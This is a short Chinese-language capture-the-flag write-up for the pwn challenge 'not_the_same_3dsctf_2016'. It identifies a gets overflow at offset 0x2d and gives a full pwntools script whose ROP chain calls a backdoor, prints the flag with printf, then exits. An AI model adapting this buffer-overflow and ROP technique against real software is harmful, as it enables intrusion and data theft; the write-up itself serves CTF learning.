not_the_same_3dsctf_2016
Ubuntu16
checksec一下
ida:
Gets函数存在溢出点offest=0x2d
Main函数上面就是后门函数,给我们将flag.txt读入bss段
找到读入的flag地址
我们只需要printf打印一下就行了
远端还需要我们正常退出函数,找一下exit()
因为是静态编译的,所以基本所有函数都会有直接构造exp:
from pwn import*
context(log_level="debug")
r=remote("node4.buuoj.cn",27223)
e=ELF("./not_the_same_3dsctf_2016")
get_servet = 0x080489a0
exit=0x804e660
flag = 0x080eca2d
printf_addr=e.sym['printf']
payload=flat('a'*0x2d)+p32(get_servet)+p32(printf_addr)+p32(exit)+p32(flag)
r.sendline(payload)
r.interactive()
成功得到flag: